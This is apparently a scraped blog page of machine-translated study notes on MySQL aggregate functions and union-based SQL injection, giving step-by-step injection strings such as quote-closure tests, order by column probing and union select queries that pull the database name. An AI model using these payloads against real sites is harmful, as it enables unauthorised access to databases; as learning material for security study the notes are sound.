当前位置:网站首页>SQL injection -day16
SQL injection -day16
2022-07-03 18:04:00 【kanna_ bush_ t】
3、 ... and 、Mysql Inject
3.2 sentence
- select sum(grade) from users;
- select avg(grade) from users;
- select max(grade) from users;
- select min(grade) from users;
- String data sum,avg by 0,max,min Take by letter size
- The grouping function will automatically ignore NULL
- Mathematical operations If any NULL Participate in , The result is NULL
- Grouping functions cannot appear directly in where Back , as a result of group by Is in where Executed after statement execution
- Grouping functions can be combined
- select 5 Number : Pick out the data that meets the conditions
- from 1 Number : Set the table
- where 2 Number : Filter raw data
- group by 3 Number : Grouping
- having 4 Number : Filter the data again
- order by 6 Number : Sort


Four 、union Joint injection ( The single quotation mark closed character type is taken as an example )
4.1 Injection judgment
?id=1'
?id=1'4.2 order by Inquire about
?id=1' order by x--+
?id=1' order by x#-> Commonly used %23 Instead of
// among x Which column does the input number represent , Use dichotomy to narrow the scope ,x Then there are two minus signs and plus signs , For comments 4.3 Determine the echo position , Take three columns as an example
?id=-1' union select 1,2,3--+
?id=0' union select 1,2,3--+
?id=1' and 1=2 union select 1,2,3--+
// The front is to deny id=1 Echo of , Prevent others sql Statement only limit 0,1
// In this way, we can't view the information we want 
4.4 Echo position injection sql sentence
?id=-1' union select 1,(select database()),3--+

边栏推荐
- Codeforces Round #803 (Div. 2) C. 3SUM Closure
- [combinatorics] generating function (summation property)
- Introduction to SolidWorks gear design software tool geartrax
- 解决Zabbix用snmp监控网络流量不准的问题
- 远程办公工具分享|社区征文
- Self executing function
- The third day of writing C language by Yabo people
- Class exercises
- Micro service component sentinel console call
- 企业级自定义表单引擎解决方案(十二)--表单规则引擎2
猜你喜欢

Global and Chinese pediatric palliative care drug market development research and investment planning recommendations report 2022-2028

Talk about the design and implementation logic of payment process

Micro service component sentinel console call

Classroom attendance system based on face recognition tkinter+openpyxl+face_ recognition

The second largest gay dating website in the world was exposed, and the status of programmers in 2022

How to deploy applications on kubernetes cluster

Research Report on investment trends and development planning of China's thermal insulation material industry, 2022-2028
![Lesson 13 of the Blue Bridge Cup -- tree array and line segment tree [exercise]](/img/da/0a282b4773fe3909d1e5e9d19f8549.jpg)
Lesson 13 of the Blue Bridge Cup -- tree array and line segment tree [exercise]

PHP MySQL create database

Codeforces Round #803 (Div. 2) C. 3SUM Closure
随机推荐
This diversion
Website with JS doesn't work in IE9 until the Developer Tools is activated
微服务组件Sentinel控制台调用
Kotlin的协程:上下文
A. Odd Selection【BruteForce】
PHP MySQL inserts multiple pieces of data
PHP MySQL Update
Lesson 13 of the Blue Bridge Cup -- tree array and line segment tree [exercise]
How to draw non overlapping bubble chart in MATLAB
图像24位深度转8位深度
Five problems of database operation in commodity supermarket system
Line by line explanation of yolox source code of anchor free series network (5) -- mosaic data enhancement and mathematical understanding
PHP MySQL create database
[enumeration] annoying frogs always step on my rice fields: (who is the most hateful? (POJ hundred practice 2812)
PHP MySQL order by keyword
Keepalived setting does not preempt resources
Assembly for unloading Loadfrom() loaded assembly - unloading the assembly loaded with assembly LoadFrom()
win32:堆破坏的dump文件分析
Should I be laid off at the age of 40? IBM is suspected of age discrimination, calling its old employees "dinosaurs" and planning to dismiss, but the employees can't refute it
企业级自定义表单引擎解决方案(十二)--表单规则引擎2